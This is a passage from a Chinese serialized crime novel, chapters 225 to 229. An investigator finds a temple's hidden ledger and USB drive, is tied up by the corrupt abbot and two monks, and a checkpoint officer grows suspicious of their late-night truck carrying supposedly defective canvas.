巨大的佛像矗立在无边的黑暗中,仅靠佛前长明灯那微弱如豆的橙黄火苗勾勒出金刚怒目的威严轮廓,在这极度的幽暗中俯瞰着闯入者。
那冰冷的威压如同有形之物,沉甸甸地自头顶压下。
空气里霉味和尘味拧成一股绳,绞着谷庄的喉咙。
他屏着呼吸,那点微弱的气息在鼻腔里打转,烫得吓人。
脚下,蒲团投下的影子被月光拉扯得奇形怪状,像一团团瘫软污浊的墨迹。
他紧贴着墙,冰冷的湿气透过单薄衣料,蛇一样往皮肤里钻。
侧前方,那巨大的书柜森然矗立,投下更浓、更深的黑暗,柜格如同无数只空洞的眼眶,漠然凝视着这不速之客。
两个安保干警的低语和手电光柱在另一头晃动,一格一格,扫过那些或新或旧的经卷封皮。
窸窣声,纸页翻动声,脚步摩擦地面的沙沙声。
在这死寂的藏经楼里被无限放大。
敲打着谷庄早已绷紧如弓弦的神经。
“找到了!”一声压低的欢呼刺破凝滞。
谷庄心脏猛地一缩,几乎撞上肋骨。
他看见一个干警举起一本《金刚般若波罗蜜经》经书,微光下,封面崭新,甚至能想象出那上面未散的油墨清香。
“不是这本,”另一个声音打断,透着疲惫和焦躁,“要旧的。”
那点刚燃起的火星倏地灭了。
手电光继续移动,像盲目的触须,在知识的坟茔里徒劳摸索。
就在这时,惨白的月光挣扎着穿透高窗的棂格,微弱地泼洒进来,驱赶开一小片混沌。
光影挪移的刹那,谷庄眼角猛地一跳——最底层一个几乎被完全遮蔽的角落格子里,蜷缩着一本东西。
卷边、破损,封面颜色沉黯,几乎与那深色木头融为一体。
是它!
《金刚般若波罗蜜经》!
一股近乎痉挛的狂喜攫住他。
他几乎是扑过去的,膝盖撞在冰冷的地板上发出一声闷响也浑然不觉。
手指急切地探入那格子的阴影,触到了——粗糙、干韧的封皮,边缘毛刺刺的。
他小心翼翼地,像捧出易碎的梦境,将它取了出来。
快速而无声地翻动,纸页脆硬,发出细微的、濒临碎裂般的呻吟。
没有,什么都没有。
预期的夹层、任何异常的痕迹,统统不存在。
只是一本被岁月啃噬得快要散架的旧经书。
失望像一瓢冰水,兜头浇灭了他眼底的光。
不甘心……怎么可能甘心?
他猛地蹲下又一次将手狠狠捅进那个暗黑的格子深处,指尖粗暴地刮擦着木质的内壁。
仿佛要将这捉弄人的木盒子掏穿。
“咔哒。”
一声极轻微、极沉闷的机括啮合声,从他指尖触碰到的某个点传来,清晰得恐怖,绝非木头发出的声音。
谷庄浑身血液瞬间冻住。
第225章 暗格!
那格子深处的黑暗仿佛蠕动了一下。
紧接着,靠里的那块侧板无声地、平滑地,向后缩退了寸许。
露出一个此前绝不存在的方法、幽深的洞口。
刚好容一手探入,里面是更浓稠、更彻底的黑。
一股阴冷陈腐的气息从中溢出,带着铁锈和某种难以言喻的陈旧腥气。
他的心跳停了半拍,随即发疯般擂动。
手臂再次探入,这一次目标明确,直刺那狭小冰冷的空间。
一个方正、幽深、刚好能容一手探入的暗格!
指尖划过粗糙的木质内壁,很快,碰触到了——一摞叠放整齐、边缘硬挺的纸张。
而在那摞纸张旁边,一个冰冷、坚硬、约莫火柴盒大小的金属物体静静躺着。
他借着自己这边角度瞥见的那一丝微弱得可怜、几乎被完全吞噬的手电余光,看向那摞纸的最上面一页。
封面是某种略显厚实的账簿纸,上面是一行字,笔迹细小。
但每一笔划都带着无法掩饰的剧烈颤抖,透出一种几乎要破纸而出的惶恐:“清凉寺实物资材入出流水台账”。
就是它!
所有的线索,所有的冒险,指向的就是这个!
账簿下,还卧着一枚小小的、泛着幽光的黑色U盘,如同深渊中沉眠的眼睛,静静地映照着他的身影。
找到了!
一股混杂着狂喜、愤怒和任务终于推进的释然猛烈地撞向胸口。
他迅速将账簿与U盘一同握在掌心,那冰冷的金属触感却如同带着火炭般灼热。
然而,就在他准备缩回手臂,将证物紧紧藏在怀里之时——
一个声音,不高不低,带着一丝奇异的平和韵味,如同冰泉滴落寒玉,毫无征兆地在身后数步之遥的空寂之处响起:“谷组长,夜深无眠,可是来此诚心上香礼佛,净化心中尘埃?”
“不过,你走错了地方,这是藏经楼!”
谷庄全身的肌肉瞬间紧绷僵硬,如同被施展了定身咒。
血液似乎在这一刹那全部涌向大脑。
又在下一刹退潮般汹涌回流心脏,留下刺骨的冰凉。
他缓缓地直起身体,攥着账簿和U盘的手指收得更紧,骨节绷得泛白。
瞬间反应过来的他将账簿递给身后的干警,并将U盘揣入裤袋之中。
谷庄转身的动作带着一种沉重的滞涩感,视线对上了影影绰绰那张熟悉的面孔。
东妙监院就站在经楼入口处佛像下方最大的那只蒲团前,身披暗金色的七宝袈裟。
嘴角噙着一丝难以名状的、既非恼怒也非慈悲的浅浅笑意。
那笑容在跃动昏暗的烛火下,显出一种近乎虚幻的不真实感。
他手里捻动着一串油亮的深紫檀佛珠,拇指无声地摩挲着每一颗刻有细密咒文的珠粒,发出细碎的沙沙声。
“擅闯佛经重地,翻动法器根基,”东妙的声音不高,一字一句却仿佛带着寺庙古钟的冷硬余韵,清晰地落在谷庄的耳膜上,字字敲打着紧张的神经,“施主就不怕惊扰佛门清净?”
“招来冥冥之中的怪罪么?”
那双眼睛在晦暗光线中深邃异常,如同两口古井,倒映着摇曳的烛光,也倒映着谷庄的影子,沉静得令人心悸。
“此刻已近子时,谷组长滞留在这佛祖座下,手中所持物事,又与虔诚心供奉何关?”
谷庄的心脏在胸腔里沉重地撞击着,耳膜嗡嗡作响。
但他脸上却维持着镇定:“东妙你也未曾安寝,想来亦是佛祖座下精进修行?”
他迎着东妙的目光,声音在过分寂静的空气里显得格外清晰,“工作组审计账目职责所在,寻找原始凭证亦是应有之义。”
“若说惊扰,不知是这藏账的手段更惊扰佛祖,还是查账的用心更惊扰了佛祖?”
他顿了顿,迎着东妙那愈发幽深沉静的目光,语气沉稳却字字如锥:“这一切,相信佛祖有眼,洞若观火,自有明断。”
谷庄特意咬重了“明断”二字,视线毫不退让地迎向东妙。
这暗中布下的针锋相对的言语,似乎牵动了两人之间绷紧如满弓的那根弦。
“找到了账目吗?”东妙一脸阴鸷。
谷庄的心猛地向下一沉。
对方不再迂回,直接撕开了那层薄薄的伪装。
他强迫自己稳住几乎要脱缰的心跳,大脑飞速运转。
承认找到,便是立刻撕破脸,在这对方的主场,后果难料。
断然否认,则显得心虚,更可能让对方察觉自己已有所获。
电光火石间,他选择了另一种方式——一种混合着失望、焦躁与不甘的、符合他此刻“搜寻未果”应有状态的反应。
谷庄眉头紧锁,语气带着一丝被压抑的愤懑和不容置疑的笃定,声音不自觉地提高了几分,在这寂静的经阁里甚至激起微弱的回音:“没有!”
“这账目肯定有,只是你藏匿得深。”
他的目光如同实质,扫过那些密密麻麻的经卷,最终落回到东妙脸上,带着一种执拗的、赌咒般的狠劲:“我总会找到藏它之处的!”
“你,没有机会了!”东妙的话音像淬了冰的钢针,狠狠扎入凝滞的空气。
他那张平日宝相庄严的脸,此刻肌肉扭曲,每一道皱纹里都嵌满了阴鸷与决绝。
这不再是一个摄理寺务的前监院,而是一个被逼到悬崖边、亮出獠牙的困兽。
谷庄全身的肌肉瞬间绷紧到了极致,肾上腺素疯狂分泌,大脑在百分之一秒内计算着所有可能——扑击?闪避?还是……?
就在这眼神交汇、空气凝固得如同结冰湖面、下一瞬就要彻底炸裂的微妙瞬间——
轰!!!
一声绝对出乎所有人意料、足以令人心胆俱裂的巨响,毫无征兆地,猛然炸开!
不是来自他们任何一人,而是来自藏经楼外更远处某处偏殿的方向!
声音异常浑厚、洪亮,带着撕裂死寂的狂暴力量,轰然爆发!
“当——嗡……”
谷庄被这巨响震得心神一荡,动作慢了半拍。
而就在他因这巨大声响而本能微一分神的电光石火间——
那两名离门口稍近的干警,甚至连脸上的惊愕都还没来得及完全浮现,身体就像是被无形的重锤猛地击中后脑。
“嗡”地一声轻哼——或许只是空气从骤然松弛的喉管里挤出的声音——两人的眼神瞬间涣散,瞳孔里的光亮熄灭得比吹熄的蜡烛还快。
身体软泥般无声无息地就瘫软下去,“噗通”倒地,彻底失去了意识。
谷庄的心脏几乎要从喉咙里跳出来。
他猛吸一口气,肌肉贲张。
就要不顾一切地扑向东妙,做最后一搏!
但太迟了。
他的视线骤然一黑!
一块粗糙油腻、带着浓重汗臭和香火混合气味的厚布,从他身后以惊人的速度和力量套了上来。
死死勒住了他的双眼。
瞬间剥夺了他的视觉世界。
紧接着,一股巨大的力量猛地踹在他的膝弯。
他闷哼一声,身不由己地向前跪倒。
第226章 捆绑
冰冷的、浸过油的粗韧绳索如同毒蛇般缠了上来,一圈,两圈……迅速而专业地绕过谷庄的手臂、胸膛,勒进他的皮肉。
将他双手反剪在身后死死捆住。
绳索摩擦皮肤发出令人牙酸的吱嘎声,力量之大,几乎要嵌进骨头里,让他丝毫动弹不得。
整个过程快得令人窒息,配合默契,毫无冗余动作,显然是经过无数次演练的。
随即两位干警的身上也是绳索穿身而过。
“谷组长及两位随从,我东妙对不起了!”
谷庄被捆得结结实实,蒙着眼,跪在冰冷的地上,只能靠听觉感知一切。
他听到东妙的脚步声靠近,那声音停在他面前。
“出家人戒杀!”东妙的声音里甚至带上了一丝痛心疾首的颤音,仿佛做出这个决定让他多么痛苦,“我所作所为只是求财!”
“你们挡了我的财路,所以得受点儿苦!”
然后,那声音陡然一变。
东妙压低了,带着一种再也掩饰不住的、得意而残忍的狞笑。
几乎是贴着谷庄的耳朵响起,热气喷在他的耳廓上,却让他感到如坠冰窖:“等我们携财安全脱离后,明早守这藏书楼的人来时,自然会给你们松绑。”
“委屈了!”
话音落下,脚步声立刻变得急促而凌乱。
谷庄竖起耳朵,在一片黑暗中极力分辨——至少有三个人的脚步声!
东妙,还有另外两个,步伐沉重而敏捷,落地极稳,显然是练家子。
应该就是慧明法师之前提到的武僧明厉和悟机。
他们以一种仓皇逃窜、却又在仓皇中透露出奇熟练和精准的姿态,迅疾无比地蹿过藏经阁的地板。
脚步声迅速远去。
他们消失在殿门外的方向。
只留下空洞的回响和一片死寂。
大片阴云被夜风撕开一道缝隙,惨白的月光如同蓄积已久的利刃,骤然刺破黑暗,倾泻而下!
风在断壁残垣间呜咽,卷起尘土和碎叶。
黑影一共三个,动作快得近乎狂乱。
铁锹和镐头起落,在那被岁月和香火熏黑的大雄宝殿后墙根,疯狂地挖掘。
泥土被翻开的湿泞声,工具偶尔磕碰到坚硬石头的闷响。
还有他们压抑到极致的、粗重的喘息,在这片被月光突兀揭开的寂静里,显得格外刺耳。
明厉和悟机两人从坑里抬出了一个箱子,放在皮卡车厢里。
“快!快些!马上到库房外墙根下去!”一个声音从牙缝里挤出来,嘶哑,焦灼,是东妙。
他几乎将整个身体压在了铁锹上,僧袍下摆溅满了泥点。
他们三人又诡秘地来到不远处早已荒废的库房外墙根下,铁锹和镐头挖了下去。
坑渐渐深了。
铁锹尖端终于传来了不同于泥土的触感——坚硬,冰冷,带着一种令人心悸的沉闷回响。
几双手立刻抛下工具,疯狗般扑上去刨开浮土。
一个看起来颇为沉重、样式古旧的木箱被拖拽了出来,箱体上沾满湿泥,却依旧能看出木质的不凡和边缘包裹的、已然氧化发黑的金属件。
没有时间查看,更没有时间喘息。
明厉和悟机两人抬一个,连拖带拽,将箱子迅速弄上了停在阴影里的皮卡车后车厢。
东妙警惕地四下张望,如同受惊的鼬鼠。
引擎低沉地轰鸣起来,却又被极力压制着音量,皮卡车像一头偷食的野兽,沿着寺内残破的石子路,猛地窜了出去。
直扑向后山那片所谓“度假地”的幽深竹林。
车尾灯的红光在黑暗中划出两道焦灼的轨迹,很快便被更浓密的黑暗吞噬。
寺门,清凉寺联通尘世的咽喉要道,此刻正被山间腾起的湿寒薄雾笼罩。
巨大石条垒砌的门楼在午夜投下浓重的阴影,将下面一个小小的临时设置的值班岗亭包裹在无形的压迫之中。
岗亭顶端一盏瓦数极低的孤灯昏黄摇曳,如同风中残烛,在雾气中晕开一圈微弱的光晕,勉强照亮着紧闭的沉重寺门。
鄂建设裹紧了身上的棉大衣,蜷在岗亭唯一一张掉漆的木凳上。
时间是凌晨两点,寒气如同钢针,无孔不入地刺透衣物,直扎骨髓。
连续多日高压下的神经如同紧绷过久的弦,此刻松弛下来,疲惫便裹挟着山野特有的湿冷,排山倒海般席卷而至。
“唔……”他用力揉了揉酸胀发涩、如同被砂纸打磨过的眼睛。
沉重的眼皮一次次背叛意志往下掉,每一次强行睁开,眼前都飞舞着诡异的细小光斑。
太困了!
值守到后半夜本就是极熬人的差使,此刻稍微放松一丝警惕。
那沉重的倦怠就如同湿透的棉被紧紧裹住了全身。
意识像是漂浮在热油上的薄冰,努力维持着清醒的边缘,摇摇欲坠。
就在他半眯着眼,头点得如同啄米的小鸡时,旁边骤然响起一个刻意压低的、清亮许多的声音:“鄂局!”
值勤组里最年轻机警的小林就坐在他对面那张更矮的板凳上,目光却始终在紧闭的寺门外浓稠的夜色中逡巡。
寺门出口责任重大,林方政特地多加了一名人手,正是小林。
小林的手猛地指向寺门外浓雾深处,语气带着一丝不易察觉的紧绷:“您看!那儿……是不是有车来了?”
嗡!
鄂建设脑中那根松弛的弦如同被无形的手指骤然拨动!
一个激灵!
他硬生生把几乎要合上的眼皮撕开,身体倏地挺直!目光如电,顺着他手指的方向急射而出!
寺门紧闭的巨大缝隙之外——并非宽阔的下山道入口方向——浓得化不开的夜色与雾气深处,确有两束微弱的光柱,如同迷失在深海中的怪物的两粒瞳孔,正穿透层层阻碍,无声无息地朝着寺门值班岗亭投射而来!
光柱先是微茫的两点,穿透雾气,亮度渐增,范围渐广。
速度不快,却带着一种明确无疑的目的性,直奔寺门!
鄂建设的心脏像是被一只冰冷的铁手骤然攥紧!
身体里所有残留的困意在这一瞬间被彻底驱散,血液奔涌着冲向大脑!
他瞳孔急剧收缩,死死盯住那越来越清晰的光源!
寒意从背脊一寸寸爬上颈椎!
怎么会?!
这么晚了!深更半夜,怎还会有车辆胆敢驶向寺门出口?!
巨大的疑问和警兆如同冰冷的潮水般瞬间淹没了鄂建设!
放在膝上的手下意识地握紧!
那辆皮卡在昏光薄雾包裹下的轮廓越来越清晰!
车轮碾过寺内平整但坚硬的路面,发出枯燥且渐近的滚动声。
皮卡车在距离岗亭几米开外、紧邻沉重寺门的位置,“嘎吱——”一声,停得极其突兀干脆!
金属刹车片发出短促而尖锐的摩擦,撕裂了深夜的寂静!
惯性让沉重的车身微微向前顿了一下。
驾驶座的车窗毫无迟疑地降了下来。
一张面孔出现在微光的勾勒下。
那张脸鄂建设见过,是明厉!
第227章 这时间下山拖货?
平日里接触不多,其人寡言少语。
此刻,他的脸一半暴露在岗亭折射出的微弱光线里。
一半深嵌在车窗的阴影中,神情看似平静,却有种极力维持的刻板。
眼神深处一丝不易察觉的紧绷,像紧绷弓弦的微颤。
明厉的目光隔着雾气与微光,直直落在鄂建设脸上,声音不高,字句清晰,如同事先排练过无数遍:“鄂组,我们有急务要下山,去拖一批换用的货。”
深更半夜下山拖货?
这时间下山拖货?
不合常理!
鄂建设脸上的错愕如同冰面上的裂纹迅速扩散,眉头猛地蹙成川字!
他霍地从冰冷的木凳上站起身,两步就跨出狭小的岗亭。
山风裹挟着刺骨的寒气瞬间扑打在身上,棉大衣的下摆在风里发出噗噗的响声。
他侧身站定,挡住了小半个靠近的车门,开口质问,每一个字都带着深冬的寒意:“什么货非得这个点下山?!”
质问像石头一样砸在明厉脸上车窗后的阴影里,明厉的喉结无声地滚动了一下。
就在这时,副驾驶的车门“喀嗒”一声轻响打开了!
一个着僧衣的身影灵巧地跳下车,落地无声。
这是悟机!
这位平日颇为活跃、面上总带三分温和笑意的年轻僧人,此刻正三步并作两步绕到鄂建设身侧。
悟机脸上迅速堆砌起一个堪称灿烂的笑容。
但这笑容在昏黄摇曳的孤灯下,非但不能消融隔阂,反而透着一股子刻意为之的热络和遮掩不住的局促,像是浆糊强行黏上去的薄纸。
这虚假的“热络”本身反而衬得这寒夜和人心越发冰冷可疑。
他几步就挤到鄂建设与车门之间,几乎是贴着鄂建设,用一种几乎带着谄媚语调的圆滑嗓音解释道:“鄂组您息怒,息怒!”
悟机连连搓着手,白气从口鼻间不断喷出,“实在是情况紧急!”
“可您说巧不巧?傍晚清查库房清点物资才发现,这批刚采购不久的工业布料,除了前面给施工队修缮之用的质量好,其他的质量不行啊!”
“简直是以次充好!”
他脸上露出恰到好处的夸张懊恼,双眉夸张地紧皱,“上面好多个大窟窿!”
“还有几处开线!根本用不成!”
“这种料子罩上去,别说挡灰了,一阵大风过来就能吹成个破灯笼!”
“耽误工期啊,鄂组!”
借着这朦胧的光线,鄂建设和小王都清晰地看到:车斗里码放着好几卷卷成圆筒状的厚重蓝色帆布!
那帆布深蓝发亮,厚实坚硬,边缘整齐。
即使光线不足,也能看出确实是工业工地常用的防尘布卷。
“看!看!就在这里!都是破洞!窟窿!”悟机的手指急切地在其中一卷帆布上凌空虚指,像是在引导鄂建设的目光,又像是在强调确有其事。
昏光下,帆布表面的纹理显得略深一些,像被撕开了几道缝隙,但具体细节看不真切。是真是假?
鄂建设紧皱的眉头没有丝毫舒展。
他身体前倾,目光锐利如探针,在那几卷深蓝色的帆布上反复逡巡!
车斗里空间不小,帆布卷堆砌起来,占据了大部分空间。
只在角落散落着几片施工常用的黄色塑料安全锥和一些细长的木棍,似乎是支撑布罩的辅料。
车厢深处更暗,堆着些什么就看不真切了。
但表面确是这几卷庞大的帆布卷占据了视线焦点。
时间、地点、理由……看似都能自圆其说?
悟机那张挤着笑的脸上汗水细密闪烁,在寒夜灯光下尤为明显。
他压低声音,急促地补充道:“与城西永利布行联系,他们说是发错了货物,同意更换。”
“但人家老板明天一早还要出远门!”
“如果不及时更换的话,万一现场还要用布遮盖来料呢?这雨水说下就下啊。”
“耽误了你们的修缮进度计划?那责任我们……实在是承担不起啊!鄂组!”
最后的称呼拖得又长又软,几乎是哀恳了。“耽误进度”、“承担责任”这些词被他有意无意、软中带硬地吐出来,如同在鄂建设紧绷的心弦上轻轻拨动了一下。
鄂建设绷紧的下颌线条依旧如铁,眼中的疑虑深重如同墨潭。
他死死盯着那张强堆笑容却掩饰不住紧张的脸孔,又扫过车窗后明厉那副极力维持平静的轮廓。
他忽然开口,声音像结了冰碴子:“条子呢?谷组长开的通行条!”
他的目光如同探照灯一般射向悟机,“规矩总还要的吧?!”
“有!”悟机似乎就等着这句!
他那张紧张得快要支撑不住笑容的脸立刻松弛下来,如同抓住了救命稻草,动作快得出奇!
他右手迅速地从宽大的僧袍宽袖深处一掏!
一张折叠得整整齐齐的纸条便魔术般出现在他摊开的掌心!
纸张很普通,上面赫然是谷庄那笔力遒劲、结构硬朗的字体!
悟机连忙将纸条双手捧着,几乎是奉到鄂建设眼前。
动作带着刻意的恭敬。
鄂建设目光如鹰隼般锐利地扫过纸条上的字迹。
确实是谷庄的字!
鄂建设眉头一皱!不对!
他唰地从口袋里掏出一只警用强光小手电,“啪嗒”一声按亮!
惨白刺眼的光柱如同手术刀瞬间精准劈在那张纸条的日期上!
“1月1日?!”鄂建设的声音陡然拔高,带着无法置信的严厉,“糊弄谁呢!这上面写得清清楚楚,1月1号!今天已经是1月7号了!”
“一张整整六天前的过期路条?
“你们当这是什么地方!”质问如同铁锤砸下!那张纸条在刺眼的手电光下几乎要被他穿透!
巨大的荒谬感和被戏弄的愤怒冲击着他!是假的?还是谷庄……
车内的明厉脸上依旧没什么表情,只是眼底深处掠过一丝极快的幽光,如同寒潭底下掠过一道暗影。
他不慌不忙,甚至带着一丝刻意表现出的惊讶和了然。
他微微侧身,脑袋更探出车窗一些,朝着鄂建设和那张被强光笼罩的纸条解释道:“哎呀!鄂组长!”
“您看这……误会了误会了!”
他指着纸条上“1月1日”那个日期,“这1字……谷组长怕是手滑了?或者写得太急了?”
“您仔细看这个‘1’字,下面这一横……是不是写得太短了?而且写得又轻?”
他的手指在纸条上比划着,“我们……我们私下都议论呢,谷组长这字大气是大气,就是有时候笔锋略急……这‘1’字写短了那么一丁点,像个顿号,乍看确实像‘1’。”
“其实谷组长的本意……应该是‘7’啊!他就是想写个‘7’字!”
鄂建设眉头紧锁,握着纸条的手指捏得死紧!
日期数字本就在手电强光下略显变形,但“1月1日”四个字无论字形间隔还是笔迹连贯性,都浑然一体。
可明厉的解释却也并非全然凭空捏造,谷庄的字确实带着几分“写意”,笔画有时飞扬有时顿挫,偶尔数字拐弯弧度略大。
这究竟是不是笔误?
第228章 确认什么?
鄂建设的目光在两个和尚脸上阴晴不定地扫视——一个笑容僵硬额头冒汗,一个看似平静眼底却深藏着漩涡般的冰冷探询。
他的视线又落在纸条上那刺眼的“1月1日”上。
心头疑云如同翻滚的浓雾,越来越重,几乎要窒息。
明厉的声音隔着风飘来,不紧不慢的调子,“鄂组,如果您实在怀疑我们。”
“怕这纸条有什么不妥,”他那双在车窗阴影里看不真切的眼似乎抬了抬,落在鄂建设阴沉的脸上,“直接打个电话问问谷组长本人,不就一清二楚了吗?”
“真相就在一个电话的距离。”
他顿了顿,声音压低一分,掺进一种微妙的“体贴”,“当然,现在这个点儿……正是人最渴睡的时候,吵醒谷组长怕是扰了他清梦,也着实有些对不住……”
夜雾中,悟机那张堆满僵笑的脸也立刻点头如捣蒜,额角那层油亮的细汗被昏暗的灯光反射,如同碎钻。“是啊是啊鄂组,太晚打扰谷组长休息是……但您要是不放心,确认一下总是最稳当的!”
“我们……我们就在这儿等着!”他的眼神带着一种近乎谄媚的焦灼,在鄂建设和紧闭的车厢之间来回逡巡。
话说到这份上,如同将棋盘推到了鄂建设面前。
不打,疑云压顶,心头那根刺更深;打,这深更半夜惊扰同僚领导……
然而职责如山!
沉甸甸的谜团压在心头。
“也罢!”鄂建设从齿缝里迸出两个字,像咬碎了一块冰。
他不再看那两个和尚,猛地将那张烫手山芋般的纸条攥进手心,揣回厚棉衣的口袋。
左手迅速从另一个内袋掏出手机,冰冷的金属外壳瞬间吸走了指尖残存的一点温度。
屏锁划开。
幽冷的蓝光照亮了他铁铸般紧绷的下颌。
荧光的数字键在寒夜里显得尤为清晰。
他输入那个烂熟于胸的号码——谷庄的。
手指点下拨号键的瞬间,他微微侧过身,避开了明厉和悟机直勾勾的眼神。
“嘟……嘟……嘟……”
冰冷的提示音,单调、机械、一声接一声地从听筒里传出,在寂静的寒夜里被无限放大!
这声音如同一根冰冷的钢针,顺着耳道钻进鄂建设的太阳穴,每一次跳动都带来沉闷的刺痛。
“嘟……嘟……嘟……您好,您拨打的用户暂时无人接听,请稍后再拨……”
最后那个冰冷的、毫无起伏的人工女声响起,如同最终宣告。
鄂建设放下手机,幽蓝的屏幕光映着他面无表情的脸,更深了一分。
无人接听。
不是关机。
只是无人应答。
鄂建设抬起眼,视线穿过昏黄光晕和寒冷的薄雾,越过悟机那写着“关心”与“紧张”的僵硬笑容。
直接锁定在驾驶位车窗里那张大半隐在阴影中的脸。
“鄂组,联系不上?”明厉的声音恰到好处地响起,不高不低,带着一种了然于胸的平静,尾音微微上扬,探询中藏着早已准备好的下一步棋。
车窗缝里溢出的白气,袅袅散入冰冷的空气。
“没人接。”鄂建设的回答像一颗淬了冰的弹丸,干脆利落地砸在地上。
他收好手机,双手插回棉衣口袋,身体却如同山岳般堵在车前,“看来睡熟了。”
话是这么说,但那深邃眼底翻腾的疑虑不仅没有因为“合理推测”而消散,反而因为这反常的联系失败而更加浓稠。
一切都太巧了——深更半夜、特殊物资、有问题的通行条、打不通电话的组长……
巧合编织得越精巧,底下掩盖的真相便愈显得肮脏不堪。
职责如同千斤的秤砣压在他的心头。
不放?
仅凭有问题的布卷和一张极其可疑的“旧”纸条,扣留搜查证据不足,事后若证明无问题,便是重大工作失误。
放?
万一……万一那厚重的蓝色帆布之下,裹挟着足以颠覆一切的罪证,就此消失在茫茫夜色之中,这渎职的罪名……
空气仿佛被冻结住了,只剩下彼此压抑的呼吸声和远处风过枯枝的呜咽。
沉重的皮卡引擎在寂静中发出低沉细微的怠速声,如同蛰伏野兽等待出猎时按捺的低吼。
几秒钟的僵持,漫长得如同一个寒冬。
终于,明厉那波澜不惊的声线再次穿透这令人窒息的寂静,打破了平衡。
这一次,里面没有了“体贴”,没有了“建议”,只剩下清晰刻骨的现实,带着一丝催促的锋芒:“鄂组长,既然联系不上,您看……我们是不是可以启程了?”
他微微前倾身子,脸在车窗阴影的边界浮动:“路,真的很远……”
他恰到好处地停了下来,没说完的话在寒夜中悬停,都蕴含在那沉默的尾音里,精准地压向鄂建设紧绷的神经。
“放行,还不行!”一个极其细微的警兆,如同暗夜里划过的冰冷萤火,倏地在鄂建设紧绷如钢丝的神经丛中亮了一下!
这责任太重!
他得有一锤定音的锚!
他猛地吸进一口刺得喉管生疼的寒气,果断转身,目光如炬地刺向身后岗亭中那个正全神贯注盯着寺门与车辆、随时待命的年轻组员:“小林!”
被点到名字的小林一个激灵,挺直腰板:“鄂局!”
“你!立刻!”鄂建设的手指向寺内深处那片被夜色和冷雾包裹的僧客寮区,语气斩钉截铁,不容置疑,“跑步前进!去谷组长的房间!”
“亲自看到他,当面确认!”
“……确认什么?”小林下意识追问了一句,被鄂建设眼中骤然凝聚起的、如同冰风暴般的厉色慑得缩了下脖子。
“确认他是睡着了被电话吵不醒,还是别的什么情况!务必亲眼!当面!弄明白这通行条到底怎么回事!”
鄂建设几乎是吼出来的,每个字都像冰珠子砸在地上,带着铁腥气,“快去!用最快的速度!我等你的消息!”
最后一句,已近乎咆哮。
小林的心脏在胸腔里像被重锤擂了一下,浑身的肌肉都绷紧了!
“是!鄂局!”他再不敢有半分迟疑,没有丝毫拖泥带水,双脚猛地在地上一蹬,整个人如同离弦之箭,瞬间撕裂冰冷凝固的空气,朝着黑暗涌动的寺内深处狂奔而去!
橡胶鞋底与结霜的石板路撞击,发出短暂而急促的噼啪脆响,脚步声迅速被无边的夜色吞噬。
第229章 秉烛夜谈?
鄂建设如同钉死在了原地,棉大衣的领口竖着,冰冷的目光却穿透了寒雾与黑暗,死死锁定那辆如同铁兽般蛰伏的灰色皮卡。
皮卡的引擎始终维持着怠速,低沉的喘息在寂静中清晰可闻,如同耐心等待猎物的猛兽。
驾驶室里的明厉和车旁的悟机,再没有多余的动作和话语,只留下沉默的背影或凝固的侧脸。
悟机早已收起了那副强堆出来的笑容,眉宇间拧着一股生硬的、被生生按捺住的焦躁。
时不时偷偷瞥一眼鄂建设。
明厉则更深地隐入了车窗的阴影里,只有偶尔极其轻微的转动方向盘的声音。
在这凝固的对峙中,每一秒都如同在粗糙的砂纸上摩擦,发出刺耳的噪音。
鄂建设感觉自己的血液都快被这冰冷的空气和紧绷的神经冻结了。
突然间!
寺内那片浓得化不开的黑暗里,传来一阵急促、混乱、踉跄的脚步声!
这脚步声不像小林出发时的坚定迅猛,反而充满了虚浮、慌乱和跌撞!
“呼…呼…呼…鄂…鄂局…!”小林跌跌撞撞地从黑暗深处冲破薄雾,如同被无形的恐惧驱赶着。
他脸色惨白,嘴唇发紫,张着嘴剧烈喘息,每一次呼吸都带出大团翻滚的白气。
他跑到鄂建设面前时,几乎收不住脚步,一个趔趄向前扑倒,被鄂建设下意识地一把扶住!
鄂建设的心脏骤然悬停!
他扶着小林的手臂能清晰感觉到对方身体正筛糠般地颤抖!
“怎么样?!”鄂建设的声音瞬间绷得嘶哑,厉声喝问。
他的目光死死攫住小林那因恐惧和狂奔而剧烈扭曲的脸,“见到谷组长了?!”
“没…没见到…人…谷组长他…他不在房间里!”小林如同刚从冰窟窿里捞出来,牙齿格格作响,上气不接下气。
鄂建设抓着他手臂的力道猛地一紧,五指如同铁钳几乎陷进小林的棉衣里:“敲门了?!是不是你没叫醒?!”
“不是!不是敲门!”小林使劲摇头,眼神里充满了惊魂未定的茫然和恐慌,“是门!鄂局!门根本没锁!没关!”
“虚掩着的!就那么开着一条缝!”
“什么?!”鄂建设如遭雷击!
手臂一松,小林一个踉跄差点摔倒。
一股冰冷刺骨的寒意瞬间从鄂建设尾椎骨炸开,沿着脊椎迅速爬满全身!
“门没关?!”他失声惊问,声音陡然拔高,带着一种连他自己都未曾察觉的变形!
这绝不是正常的谷庄!
那个心思缜密、行动谨慎的搭档!
深夜出门,绝不可能是忘记关门这种低级错误!
“是…是开着条缝!我一碰就开了!”小林带着哭腔,语无伦次地补充,“里面黑洞洞的!我不敢进!”
“只站在门口喊了几声,一点动静都没有!太……太吓人了!”
“后来,只好战战兢兢进去,用手电将卧室里外照了一个遍,根本没有人。”
夜雾似乎在这一刻骤然加厚加重,裹缠着人的口鼻!
冰冷的恐惧像无数细针,扎穿了鄂建设的每一寸皮肤!
“室内有打斗的痕迹吗?”
“没有,绝对没有!”
无数最坏的念头如同毒蛇出洞般争先恐后地涌上他早已紧绷欲裂的脑海:谷庄被强行带走了?
已经被灭口?
那虚掩的门缝后,难道……
人……还活着吗?
小林带来的消息根本不是什么意外!
这是一枚无声的炸弹!
瞬间将寺门前的危机性质彻底改变!
此刻,已不仅仅是那辆可疑车辆的去留问题!
谷庄的安危瞬间被推到了悬崖边缘!
这虚掩的客房门,如同地狱敞开的缝隙!
鄂建设的脸色在昏黄摇曳的孤灯下变得铁青,呼吸瞬间粗重起来,每一口吸入的冰冷空气都像裹着细碎的冰碴,剐蹭着他的气管肺腑!
他的目光如同两道燃烧着狂怒和冰冷的剑芒,霍然扫过旁边那辆瞬间变得无比危险、如同囚笼般的皮卡!
扫过车旁悟机那煞白失血的脸颊和眼中掩饰不住的惊惶!
最后,死死钉在驾驶位车窗深处那片无法看透的浓重阴影上!
谷庄,出了什么事?!
是失踪?还是……已然遭遇不测?!
一个念头如同冰冷的子弹,狠狠贯穿了他的大脑。
那张写着“1月1日”的纸条,此刻看上去,竟带着血色的狰狞!
“鄂组,我可以负责地说,谷组并没有什么事。”声音突兀地响起。
